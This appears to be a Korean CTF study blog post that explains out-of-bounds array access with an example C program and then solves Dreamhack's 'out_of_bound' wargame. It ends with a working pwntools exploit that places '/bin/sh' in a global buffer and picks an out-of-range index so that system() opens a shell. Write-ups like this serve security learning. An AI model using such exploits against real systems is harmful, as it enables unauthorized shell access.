System Hacking

Out of bounds | dreamhack

burrri 2024. 3. 17. 00:56

Memory Corruption : out of bounds

배열 : 자료형의 element요소로 구성 , 각 위치 idx

-> 배열의 임의 인덱스에 접근할 수 있는 취약점 : out of bounds

 

배열의 속성

배열은 연속된 메모리 공간 -> (요소의 개수) * (요소 자료형의 크기)

sizeof(array) = sizeof(elem) * n

배열의 길이 length = n

&sizeof[k] = array + sizeof(elem)*k

 

 

Out of Bounds (OOB)

OOB는 요소 참조 시, idx가 음수 or 배열의 길이를 벗어날 때 발생

==> 배열을 벗어난 참조

 

임의 주소 읽기 / 쓰기

OOB로 임의의 주소 읽기

: 읽으려는 변수와 배열의 offset 을 알아야 ! 

-> 변수 & 배열이 같은 segment라면,  둘 사이의 offset거리는 언제나 일정 -> 디버깅을 통해 알아낼수 o

-> 변수 & 배열이 다른 segment라면, 다른 취약점을 통해 두 변수의 주소를 구하고, 차이를 계싼 

 

OOB로 임의 주소 쓰기

- 예제

// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c

#include <stdio.h>
#include <stdlib.h>

struct Student {
  long attending;
  char *name;
  long age;
};

struct Student stu[10];
int isAdmin;

int main() {
  unsigned int idx;

  // Exploit OOB to read the secret
  puts("Who is present?");
  printf("(1-10)> ");
  scanf("%u", &idx);

  stu[idx - 1].attending = 1;

  if (isAdmin) printf("Access granted.\n");
  return 0;
}

 

pwndbg > i var stu

pwndbg > i var isAdmin

을 통해서 두 변수간의 offset 거리 차를 비교 => 240바이트 = 24바이트 (stu1 요소) * 10개

=> 10번째 idx에 isAdmin변수가 존재

==> idx에 11을 입력하면 "acess granted" 출력


out_of_bound

https://dreamhack.io/wargame/challenges/11

- i386 (32bit) 

- nx, canary 적용

- pie 미적용, partial RELRO

 

 

주요 코드 분석 

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

- name을 "전역변수"에 16바이트만큼 - read를 통해 name을 읽어 들이고 idx로 command실시 

- idx에 정상이면 0~3, 그러나 범위 유효성검사가 존재하지 않기에 타 주소를 불러올 수 o

=> OOB 취약점

 

시나리오

(목표) system내부의 command[idx]의 결과가 "/bin/sh"가 되도록 하는 것 

1. command 와 name의 주소 확인

: PIE 가 꺼져 있기에 실행 시마다 일정한 주소에 위치

command 주소 : 0x804a060

name 주소 : 0x804a0ac  => 76 바이트 차이

 

현재 archi는 32비트이므로 4바이트로 표현

=> command[0] =  0x804a060

=> command[1] =  0x804a060 + 4

=> command[19] =  0x804a060 + 4*19(76)   ==>name을 가리킴 

 

 

2. system함수에 인자 전달 

name에 "/bin/sh"가 저장 ==>  name의 주소를 인자로 전달해야함 

name 주소 : 0x804a0ac

 

 

Exploit code

from pwn import *

p = remote("host3.dreamhack.games", 18187)

#name에 전송될 payload
# 8바이트의 "/bin/sh\x00"을 넣고 name의 주소를 붙여 12바이트 저장
payload = b"/bin/sh\x00" + p32(0x804a0ac)

p.sendline(payload)

# command[19 + 2] = *(name + 8) = 0x804a0ac
p.sendline(b"21")

p.interactive()